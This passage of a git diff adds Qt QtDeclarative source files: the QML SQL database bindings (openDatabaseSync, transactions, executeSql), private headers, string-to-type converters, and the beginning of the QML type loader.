+ return QScriptValue::Undeletable
+ | QScriptValue::SkipInEnumeration;
+ }
+ return QScriptValue::Undeletable;
+ }
+
+private:
+ QScriptString str_length;
+ QScriptString str_forwardOnly;
+};
+
+// If the spec changes to allow iteration, check git history...
+// class QDeclarativeSqlQueryScriptClassPropertyIterator : public QScriptClassPropertyIterator
+
+
+
+enum SqlException {
+ UNKNOWN_ERR,
+ DATABASE_ERR,
+ VERSION_ERR,
+ TOO_LARGE_ERR,
+ QUOTA_ERR,
+ SYNTAX_ERR,
+ CONSTRAINT_ERR,
+ TIMEOUT_ERR
+};
+
+static const char* sqlerror[] = {
+ "UNKNOWN_ERR",
+ "DATABASE_ERR",
+ "VERSION_ERR",
+ "TOO_LARGE_ERR",
+ "QUOTA_ERR",
+ "SYNTAX_ERR",
+ "CONSTRAINT_ERR",
+ "TIMEOUT_ERR",
+ 0
+};
+
+#define THROW_SQL(error, desc) \
+{ \
+ QScriptValue errorValue = context->throwError(desc); \
+ errorValue.setProperty(QLatin1String("code"), error); \
+ return errorValue; \
+}
+
+static QString qmlsqldatabase_databasesPath(QScriptEngine *engine)
+{
+ QDeclarativeScriptEngine *qmlengine = static_cast<QDeclarativeScriptEngine*>(engine);
+ return QDir::toNativeSeparators(qmlengine->offlineStoragePath)
+ + QDir::separator() + QLatin1String("Databases");
+}
+
+static void qmlsqldatabase_initDatabasesPath(QScriptEngine *engine)
+{
+ QDir().mkpath(qmlsqldatabase_databasesPath(engine));
+}
+
+static QString qmlsqldatabase_databaseFile(const QString& connectionName, QScriptEngine *engine)
+{
+ return qmlsqldatabase_databasesPath(engine) + QDir::separator()
+ + connectionName;
+}
+
+
+static QScriptValue qmlsqldatabase_item(QScriptContext *context, QScriptEngine *engine)
+{
+ QSqlQuery query = qscriptvalue_cast<QSqlQuery>(context->thisObject().data());
+ int i = context->argument(0).toNumber();
+ if (query.at() == i || query.seek(i)) { // Qt 4.6 doesn't optimize seek(at())
+ QSqlRecord r = query.record();
+ QScriptValue row = engine->newObject();
+ for (int j=0; j<r.count(); ++j) {
+ row.setProperty(r.fieldName(j), QScriptValue(engine,r.value(j).toString()));
+ }
+ return row;
+ }
+ return engine->undefinedValue();
+}
+
+static QScriptValue qmlsqldatabase_executeSql_outsidetransaction(QScriptContext *context, QScriptEngine * /*engine*/)
+{
+ THROW_SQL(DATABASE_ERR,QDeclarativeEngine::tr("executeSql called outside transaction()"));
+}
+
+static QScriptValue qmlsqldatabase_executeSql(QScriptContext *context, QScriptEngine *engine)
+{
+ QSqlDatabase db = qscriptvalue_cast<QSqlDatabase>(context->thisObject());
+ QString sql = context->argument(0).toString();
+ QSqlQuery query(db);
+ bool err = false;
+
+ QScriptValue result;
+
+ if (query.prepare(sql)) {
+ if (context->argumentCount() > 1) {
+ QScriptValue values = context->argument(1);
+ if (values.isObject()) {
+ if (values.isArray()) {
+ int size = values.property(QLatin1String("length")).toInt32();
+ for (int i = 0; i < size; ++i)
+ query.bindValue(i, values.property(i).toVariant());
+ } else {
+ for (QScriptValueIterator it(values); it.hasNext();) {
+ it.next();
+ query.bindValue(it.name(),it.value().toVariant());
+ }
+ }
+ } else {
+ query.bindValue(0,values.toVariant());
+ }
+ }
+ if (query.exec()) {
+ result = engine->newObject();
+ QDeclarativeScriptEngine *qmlengine = static_cast<QDeclarativeScriptEngine*>(engine);
+ if (!qmlengine->sqlQueryClass)
+ qmlengine->sqlQueryClass = new QDeclarativeSqlQueryScriptClass(engine);
+ QScriptValue rows = engine->newObject(qmlengine->sqlQueryClass);
+ rows.setData(engine->newVariant(QVariant::fromValue(query)));
+ rows.setProperty(QLatin1String("item"), engine->newFunction(qmlsqldatabase_item,1), QScriptValue::SkipInEnumeration);
+ result.setProperty(QLatin1String("rows"),rows);
+ result.setProperty(QLatin1String("rowsAffected"),query.numRowsAffected());
+ result.setProperty(QLatin1String("insertId"),query.lastInsertId().toString());
+ } else {
+ err = true;
+ }
+ } else {
+ err = true;
+ }
+ if (err)
+ THROW_SQL(DATABASE_ERR,query.lastError().text());
+ return result;
+}
+
+static QScriptValue qmlsqldatabase_executeSql_readonly(QScriptContext *context, QScriptEngine *engine)
+{
+ QString sql = context->argument(0).toString();
+ if (sql.startsWith(QLatin1String("SELECT"),Qt::CaseInsensitive)) {
+ return qmlsqldatabase_executeSql(context,engine);
+ } else {
+ THROW_SQL(SYNTAX_ERR,QDeclarativeEngine::tr("Read-only Transaction"))
+ }
+}
+
+static QScriptValue qmlsqldatabase_change_version(QScriptContext *context, QScriptEngine *engine)
+{
+ if (context->argumentCount() < 2)
+ return engine->undefinedValue();
+
+ QSqlDatabase db = qscriptvalue_cast<QSqlDatabase>(context->thisObject());
+ QString from_version = context->argument(0).toString();
+ QString to_version = context->argument(1).toString();
+ QScriptValue callback = context->argument(2);
+
+ QScriptValue instance = engine->newObject();
+ instance.setProperty(QLatin1String("executeSql"), engine->newFunction(qmlsqldatabase_executeSql,1));
+ QScriptValue tx = engine->newVariant(instance,QVariant::fromValue(db));
+
+ QString foundvers = context->thisObject().property(QLatin1String("version")).toString();
+ if (from_version!=foundvers) {
+ THROW_SQL(VERSION_ERR,QDeclarativeEngine::tr("Version mismatch: expected %1, found %2").arg(from_version).arg(foundvers));
+ return engine->undefinedValue();
+ }
+
+ bool ok = true;
+ if (callback.isFunction()) {
+ ok = false;
+ db.transaction();
+ callback.call(QScriptValue(), QScriptValueList() << tx);
+ if (engine->hasUncaughtException()) {
+ db.rollback();
+ } else {
+ if (!db.commit()) {
+ db.rollback();
+ THROW_SQL(UNKNOWN_ERR,QDeclarativeEngine::tr("SQL transaction failed"));
+ } else {
+ ok = true;
+ }
+ }
+ }
+
+ if (ok) {
+ context->thisObject().setProperty(QLatin1String("version"), to_version, QScriptValue::ReadOnly);
+#ifndef QT_NO_SETTINGS
+ QSettings ini(qmlsqldatabase_databaseFile(db.connectionName(),engine) + QLatin1String(".ini"), QSettings::IniFormat);
+ ini.setValue(QLatin1String("Version"), to_version);
+#endif
+ }
+
+ return engine->undefinedValue();
+}
+
+static QScriptValue qmlsqldatabase_transaction_shared(QScriptContext *context, QScriptEngine *engine, bool readOnly)
+{
+ QSqlDatabase db = qscriptvalue_cast<QSqlDatabase>(context->thisObject());
+ QScriptValue callback = context->argument(0);
+ if (!callback.isFunction())
+ THROW_SQL(UNKNOWN_ERR,QDeclarativeEngine::tr("transaction: missing callback"));
+
+ QScriptValue instance = engine->newObject();
+ instance.setProperty(QLatin1String("executeSql"),
+ engine->newFunction(readOnly ? qmlsqldatabase_executeSql_readonly : qmlsqldatabase_executeSql,1));
+ QScriptValue tx = engine->newVariant(instance,QVariant::fromValue(db));
+
+ db.transaction();
+ callback.call(QScriptValue(), QScriptValueList() << tx);
+ instance.setProperty(QLatin1String("executeSql"),
+ engine->newFunction(qmlsqldatabase_executeSql_outsidetransaction));
+ if (engine->hasUncaughtException()) {
+ db.rollback();
+ } else {
+ if (!db.commit())
+ db.rollback();
+ }
+ return engine->undefinedValue();
+}
+
+static QScriptValue qmlsqldatabase_transaction(QScriptContext *context, QScriptEngine *engine)
+{
+ return qmlsqldatabase_transaction_shared(context,engine,false);
+}
+static QScriptValue qmlsqldatabase_read_transaction(QScriptContext *context, QScriptEngine *engine)
+{
+ return qmlsqldatabase_transaction_shared(context,engine,true);
+}
+
+/*
+ Currently documented in doc/src/declarative/globalobject.qdoc
+*/
+static QScriptValue qmlsqldatabase_open_sync(QScriptContext *context, QScriptEngine *engine)
+{
+#ifndef QT_NO_SETTINGS
+ qmlsqldatabase_initDatabasesPath(engine);
+
+ QSqlDatabase database;
+
+ QString dbname = context->argument(0).toString();
+ QString dbversion = context->argument(1).toString();
+ QString dbdescription = context->argument(2).toString();
+ int dbestimatedsize = context->argument(3).toNumber();
+ QScriptValue dbcreationCallback = context->argument(4);
+
+ QCryptographicHash md5(QCryptographicHash::Md5);
+ md5.addData(dbname.toUtf8());
+ QString dbid(QLatin1String(md5.result().toHex()));
+
+ QString basename = qmlsqldatabase_databaseFile(dbid, engine);
+ bool created = false;
+ QString version = dbversion;
+
+ {
+ QSettings ini(basename+QLatin1String(".ini"),QSettings::IniFormat);
+
+ if (QSqlDatabase::connectionNames().contains(dbid)) {
+ database = QSqlDatabase::database(dbid);
+ version = ini.value(QLatin1String("Version")).toString();
+ if (version != dbversion && !dbversion.isEmpty() && !version.isEmpty())
+ THROW_SQL(VERSION_ERR,QDeclarativeEngine::tr("SQL: database version mismatch"));
+ } else {
+ created = !QFile::exists(basename+QLatin1String(".sqlite"));
+ database = QSqlDatabase::addDatabase(QLatin1String("QSQLITE"), dbid);
+ if (created) {
+ ini.setValue(QLatin1String("Name"), dbname);
+ if (dbcreationCallback.isFunction())
+ version = QString();
+ ini.setValue(QLatin1String("Version"), version);
+ ini.setValue(QLatin1String("Description"), dbdescription);
+ ini.setValue(QLatin1String("EstimatedSize"), dbestimatedsize);
+ ini.setValue(QLatin1String("Driver"), QLatin1String("QSQLITE"));
+ } else {
+ if (!dbversion.isEmpty() && ini.value(QLatin1String("Version")) != dbversion) {
+ // Incompatible
+ THROW_SQL(VERSION_ERR,QDeclarativeEngine::tr("SQL: database version mismatch"));
+ }
+ version = ini.value(QLatin1String("Version")).toString();
+ }
+ database.setDatabaseName(basename+QLatin1String(".sqlite"));
+ }
+ if (!database.isOpen())
+ database.open();
+ }
+
+ QScriptValue instance = engine->newObject();
+ instance.setProperty(QLatin1String("transaction"), engine->newFunction(qmlsqldatabase_transaction,1));
+ instance.setProperty(QLatin1String("readTransaction"), engine->newFunction(qmlsqldatabase_read_transaction,1));
+ instance.setProperty(QLatin1String("version"), version, QScriptValue::ReadOnly);
+ instance.setProperty(QLatin1String("changeVersion"), engine->newFunction(qmlsqldatabase_change_version,3));
+
+ QScriptValue result = engine->newVariant(instance,QVariant::fromValue(database));
+
+ if (created && dbcreationCallback.isFunction()) {
+ dbcreationCallback.call(QScriptValue(), QScriptValueList() << result);
+ }
+
+ return result;
+#else
+ return engine->undefinedValue();
+#endif // QT_NO_SETTINGS
+}
+
+void qt_add_qmlsqldatabase(QScriptEngine *engine)
+{
+ QScriptValue openDatabase = engine->newFunction(qmlsqldatabase_open_sync, 4);
+ engine->globalObject().setProperty(QLatin1String("openDatabaseSync"), openDatabase);
+
+ QScriptValue sqlExceptionPrototype = engine->newObject();
+ for (int i=0; sqlerror[i]; ++i)
+ sqlExceptionPrototype.setProperty(QLatin1String(sqlerror[i]),
+ i,QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+
+ engine->globalObject().setProperty(QLatin1String("SQLException"), sqlExceptionPrototype);
+}
+
+/*
+HTML5 "spec" says "rs.rows[n]", but WebKit only impelments "rs.rows.item(n)". We do both (and property iterator).
+We add a "forwardOnly" property that stops Qt caching results (code promises to only go forward
+through the data.
+*/
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativesqldatabase_p.h b/src/declarative/qml/qdeclarativesqldatabase_p.h
new file mode 100644
index 00000000..cad0f3cd
--- /dev/null
+++ b/src/declarative/qml/qdeclarativesqldatabase_p.h
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESQLDATABASE_P_H
+#define QDECLARATIVESQLDATABASE_P_H
+
+#include <QtScript/qscriptengine.h>
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_NAMESPACE
+
+class QScriptEngine;
+void qt_add_qmlsqldatabase(QScriptEngine *engine);
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVESQLDATABASE_P_H
+
diff --git a/src/declarative/qml/qdeclarativestringconverters.cpp b/src/declarative/qml/qdeclarativestringconverters.cpp
new file mode 100644
index 00000000..0ffae2f0
--- /dev/null
+++ b/src/declarative/qml/qdeclarativestringconverters.cpp
@@ -0,0 +1,278 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativestringconverters_p.h"
+
+#include <QtGui/qcolor.h>
+#include <QtGui/qvector3d.h>
+#include <QtCore/qpoint.h>
+#include <QtCore/qrect.h>
+#include <QtCore/qsize.h>
+#include <QtCore/qvariant.h>
+#include <QtCore/qdatetime.h>
+
+QT_BEGIN_NAMESPACE
+
+static uchar fromHex(const uchar c, const uchar c2)
+{
+ uchar rv = 0;
+ if (c >= '0' && c <= '9')
+ rv += (c - '0') * 16;
+ else if (c >= 'A' && c <= 'F')
+ rv += (c - 'A' + 10) * 16;
+ else if (c >= 'a' && c <= 'f')
+ rv += (c - 'a' + 10) * 16;
+
+ if (c2 >= '0' && c2 <= '9')
+ rv += (c2 - '0');
+ else if (c2 >= 'A' && c2 <= 'F')
+ rv += (c2 - 'A' + 10);
+ else if (c2 >= 'a' && c2 <= 'f')
+ rv += (c2 - 'a' + 10);
+
+ return rv;
+}
+
+static uchar fromHex(const QString &s, int idx)
+{
+ uchar c = s.at(idx).toAscii();
+ uchar c2 = s.at(idx + 1).toAscii();
+ return fromHex(c, c2);
+}
+
+QVariant QDeclarativeStringConverters::variantFromString(const QString &s)
+{
+ if (s.isEmpty())
+ return QVariant(s);
+ bool ok = false;
+ QRectF r = rectFFromString(s, &ok);
+ if (ok) return QVariant(r);
+ QColor c = colorFromString(s, &ok);
+ if (ok) return QVariant(c);
+ QPointF p = pointFFromString(s, &ok);
+ if (ok) return QVariant(p);
+ QSizeF sz = sizeFFromString(s, &ok);
+ if (ok) return QVariant(sz);
+ QVector3D v = vector3DFromString(s, &ok);
+ if (ok) return QVariant::fromValue(v);
+
+ return QVariant(s);
+}
+
+QVariant QDeclarativeStringConverters::variantFromString(const QString &s, int preferredType, bool *ok)
+{
+ switch (preferredType) {
+ case QMetaType::Int:
+ return QVariant(int(qRound(s.toDouble(ok))));
+ case QMetaType::UInt:
+ return QVariant(uint(qRound(s.toDouble(ok))));
+ case QMetaType::QColor:
+ return QVariant::fromValue(colorFromString(s, ok));
+#ifndef QT_NO_DATESTRING
+ case QMetaType::QDate:
+ return QVariant::fromValue(dateFromString(s, ok));
+ case QMetaType::QTime:
+ return QVariant::fromValue(timeFromString(s, ok));
+ case QMetaType::QDateTime:
+ return QVariant::fromValue(dateTimeFromString(s, ok));
+#endif // QT_NO_DATESTRING
+ case QMetaType::QPointF:
+ return QVariant::fromValue(pointFFromString(s, ok));
+ case QMetaType::QPoint:
+ return QVariant::fromValue(pointFFromString(s, ok).toPoint());
+ case QMetaType::QSizeF:
+ return QVariant::fromValue(sizeFFromString(s, ok));
+ case QMetaType::QSize:
+ return QVariant::fromValue(sizeFFromString(s, ok).toSize());
+ case QMetaType::QRectF:
+ return QVariant::fromValue(rectFFromString(s, ok));
+ case QMetaType::QRect:
+ return QVariant::fromValue(rectFFromString(s, ok).toRect());
+ case QMetaType::QVector3D:
+ return QVariant::fromValue(vector3DFromString(s, ok));
+ default:
+ if (ok) *ok = false;
+ return QVariant();
+ }
+}
+
+QColor QDeclarativeStringConverters::colorFromString(const QString &s, bool *ok)
+{
+ if (s.length() == 9 && s.startsWith(QLatin1Char('#'))) {
+ uchar a = fromHex(s, 1);
+ uchar r = fromHex(s, 3);
+ uchar g = fromHex(s, 5);
+ uchar b = fromHex(s, 7);
+ if (ok) *ok = true;
+ return QColor(r, g, b, a);
+ } else {
+ QColor rv(s);
+ if (ok) *ok = rv.isValid();
+ return rv;
+ }
+}
+
+#ifndef QT_NO_DATESTRING
+QDate QDeclarativeStringConverters::dateFromString(const QString &s, bool *ok)
+{
+ QDate d = QDate::fromString(s, Qt::ISODate);
+ if (ok) *ok = d.isValid();
+ return d;
+}
+
+QTime QDeclarativeStringConverters::timeFromString(const QString &s, bool *ok)
+{
+ QTime t = QTime::fromString(s, Qt::ISODate);
+ if (ok) *ok = t.isValid();
+ return t;
+}
+
+QDateTime QDeclarativeStringConverters::dateTimeFromString(const QString &s, bool *ok)
+{
+ QDateTime d = QDateTime::fromString(s, Qt::ISODate);
+ if (ok) *ok = d.isValid();
+ return d;
+}
+#endif // QT_NO_DATESTRING
+
+//expects input of "x,y"
+QPointF QDeclarativeStringConverters::pointFFromString(const QString &s, bool *ok)
+{
+ if (s.count(QLatin1Char(',')) != 1) {
+ if (ok)
+ *ok = false;
+ return QPointF();
+ }
+
+ bool xGood, yGood;
+ int index = s.indexOf(QLatin1Char(','));
+ qreal xCoord = s.left(index).toDouble(&xGood);
+ qreal yCoord = s.mid(index+1).toDouble(&yGood);
+ if (!xGood || !yGood) {
+ if (ok)
+ *ok = false;
+ return QPointF();
+ }
+
+ if (ok)
+ *ok = true;
+ return QPointF(xCoord, yCoord);
+}
+
+//expects input of "widthxheight"
+QSizeF QDeclarativeStringConverters::sizeFFromString(const QString &s, bool *ok)
+{
+ if (s.count(QLatin1Char('x')) != 1) {
+ if (ok)
+ *ok = false;
+ return QSizeF();
+ }
+
+ bool wGood, hGood;
+ int index = s.indexOf(QLatin1Char('x'));
+ qreal width = s.left(index).toDouble(&wGood);
+ qreal height = s.mid(index+1).toDouble(&hGood);
+ if (!wGood || !hGood) {
+ if (ok)
+ *ok = false;
+ return QSizeF();
+ }
+
+ if (ok)
+ *ok = true;
+ return QSizeF(width, height);
+}
+
+//expects input of "x,y,widthxheight" //### use space instead of second comma?
+QRectF QDeclarativeStringConverters::rectFFromString(const QString &s, bool *ok)
+{
+ if (s.count(QLatin1Char(',')) != 2 || s.count(QLatin1Char('x')) != 1) {
+ if (ok)
+ *ok = false;
+ return QRectF();
+ }
+
+ bool xGood, yGood, wGood, hGood;
+ int index = s.indexOf(QLatin1Char(','));
+ qreal x = s.left(index).toDouble(&xGood);
+ int index2 = s.indexOf(QLatin1Char(','), index+1);
+ qreal y = s.mid(index+1, index2-index-1).toDouble(&yGood);
+ index = s.indexOf(QLatin1Char('x'), index2+1);
+ qreal width = s.mid(index2+1, index-index2-1).toDouble(&wGood);
+ qreal height = s.mid(index+1).toDouble(&hGood);
+ if (!xGood || !yGood || !wGood || !hGood) {
+ if (ok)
+ *ok = false;
+ return QRectF();
+ }
+
+ if (ok)
+ *ok = true;
+ return QRectF(x, y, width, height);
+}
+
+//expects input of "x,y,z"
+QVector3D QDeclarativeStringConverters::vector3DFromString(const QString &s, bool *ok)
+{
+ if (s.count(QLatin1Char(',')) != 2) {
+ if (ok)
+ *ok = false;
+ return QVector3D();
+ }
+
+ bool xGood, yGood, zGood;
+ int index = s.indexOf(QLatin1Char(','));
+ int index2 = s.indexOf(QLatin1Char(','), index+1);
+ qreal xCoord = s.left(index).toDouble(&xGood);
+ qreal yCoord = s.mid(index+1, index2-index-1).toDouble(&yGood);
+ qreal zCoord = s.mid(index2+1).toDouble(&zGood);
+ if (!xGood || !yGood || !zGood) {
+ if (ok)
+ *ok = false;
+ return QVector3D();
+ }
+
+ if (ok)
+ *ok = true;
+ return QVector3D(xCoord, yCoord, zCoord);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativestringconverters_p.h b/src/declarative/qml/qdeclarativestringconverters_p.h
new file mode 100644
index 00000000..afb519ec
--- /dev/null
+++ b/src/declarative/qml/qdeclarativestringconverters_p.h
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESTRINGCONVERTERS_P_H
+#define QDECLARATIVESTRINGCONVERTERS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+#include <QtCore/qvariant.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QColor;
+class QPointF;
+class QSizeF;
+class QRectF;
+class QString;
+class QByteArray;
+class QVector3D;
+
+// XXX - Bauhaus currently uses these methods which is why they're exported
+namespace QDeclarativeStringConverters
+{
+ QVariant Q_DECLARATIVE_PRIVATE_EXPORT variantFromString(const QString &);
+ QVariant Q_DECLARATIVE_PRIVATE_EXPORT variantFromString(const QString &, int preferredType, bool *ok = 0);
+
+ QColor Q_DECLARATIVE_PRIVATE_EXPORT colorFromString(const QString &, bool *ok = 0);
+#ifndef QT_NO_DATESTRING
+ QDate Q_DECLARATIVE_PRIVATE_EXPORT dateFromString(const QString &, bool *ok = 0);
+ QTime Q_DECLARATIVE_PRIVATE_EXPORT timeFromString(const QString &, bool *ok = 0);
+ QDateTime Q_DECLARATIVE_PRIVATE_EXPORT dateTimeFromString(const QString &, bool *ok = 0);
+#endif
+ QPointF Q_DECLARATIVE_PRIVATE_EXPORT pointFFromString(const QString &, bool *ok = 0);
+ QSizeF Q_DECLARATIVE_PRIVATE_EXPORT sizeFFromString(const QString &, bool *ok = 0);
+ QRectF Q_DECLARATIVE_PRIVATE_EXPORT rectFFromString(const QString &, bool *ok = 0);
+ QVector3D Q_DECLARATIVE_PRIVATE_EXPORT vector3DFromString(const QString &, bool *ok = 0);
+}
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVESTRINGCONVERTERS_P_H
diff --git a/src/declarative/qml/qdeclarativetypeloader.cpp b/src/declarative/qml/qdeclarativetypeloader.cpp
new file mode 100644
index 00000000..4fa45102
--- /dev/null
+++ b/src/declarative/qml/qdeclarativetypeloader.cpp
@@ -0,0 +1,1196 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativetypeloader_p.h"
+
+#include <private/qdeclarativeengine_p.h>
+#include <private/qdeclarativecompiler_p.h>
+#include <private/qdeclarativecomponent_p.h>
+#include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativedebugtrace_p.h>
+
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtCore/qdebug.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qdiriterator.h>
+#include <QtCore/qfile.h>
+
+QT_BEGIN_NAMESPACE
+
+/*
+Returns the set of QML files in path (qmldir, *.qml, *.js). The caller
+is responsible for deleting the returned data.
+*/
+static QSet<QString> *qmlFilesInDirectory(const QString &path)
+{
+ QDirIterator dir(path, QDir::Files);
+ if (!dir.hasNext())
+ return 0;
+ QSet<QString> *files = new QSet<QString>;
+ while (dir.hasNext()) {
+ dir.next();
+ QString fileName = dir.fileName();
+ if (fileName == QLatin1String("qmldir")
+ || fileName.endsWith(QLatin1String(".qml"))
+ || fileName.endsWith(QLatin1String(".js"))) {
+#if defined(Q_OS_WIN32) || defined(Q_OS_WINCE) || defined(Q_OS_DARWIN) || defined(Q_OS_SYMBIAN)
+ fileName = fileName.toLower();
+#endif
+ files->insert(fileName);
+ }
+ }
+ return files;
+}
+
+
+/*!
+\class QDeclarativeDataBlob
+\brief The QDeclarativeDataBlob encapsulates a data request that can be issued to a QDeclarativeDataLoader.
+\internal
+
+QDeclarativeDataBlob's are loaded by a QDeclarativeDataLoader. The user creates the QDeclarativeDataBlob
+and then calls QDeclarativeDataLoader::load() or QDeclarativeDataLoader::loadWithStaticData() to load it.
+The QDeclarativeDataLoader invokes callbacks on the QDeclarativeDataBlob as data becomes available.
+*/
+
+/*!
+ \class QDeclarativeTypeLoader
+ \internal
+*/
+
+/*!
+\enum QDeclarativeDataBlob::Status
+
+This enum describes the status of the data blob.
+
+\list
+\o Null The blob has not yet been loaded by a QDeclarativeDataLoader
+\o Loading The blob is loading network data. The QDeclarativeDataBlob::setData() callback has not yet been
+invoked or has not yet returned.
+\o WaitingForDependencies The blob is waiting for dependencies to be done before continueing. This status
+only occurs after the QDeclarativeDataBlob::setData() callback has been made, and when the blob has outstanding
+dependencies.
+\o Complete The blob's data has been loaded and all dependencies are done.
+\o Error An error has been set on this blob.
+\endlist
+*/
+
+/*!
+\enum QDeclarativeDataBlob::Type
+
+This enum describes the type of the data blob.
+
+\list
+\o QmlFile This is a QDeclarativeTypeData
+\o JavaScriptFile This is a QDeclarativeScriptData
+\o QmldirFile This is a QDeclarativeQmldirData
+\endlist
+*/
+
+/*!
+Create a new QDeclarativeDataBlob for \a url and of the provided \a type.
+*/
+QDeclarativeDataBlob::QDeclarativeDataBlob(const QUrl &url, Type type)
+: m_type(type), m_status(Null), m_progress(0), m_url(url), m_finalUrl(url), m_manager(0),
+ m_redirectCount(0), m_inCallback(false), m_isDone(false)
+{
+}
+
+/*! \internal */
+QDeclarativeDataBlob::~QDeclarativeDataBlob()
+{
+ Q_ASSERT(m_waitingOnMe.isEmpty());
+
+ cancelAllWaitingFor();
+}
+
+/*!
+Returns the type provided to the constructor.
+*/
+QDeclarativeDataBlob::Type QDeclarativeDataBlob::type() const
+{
+ return m_type;
+}
+
+/*!
+Returns the blob's status.
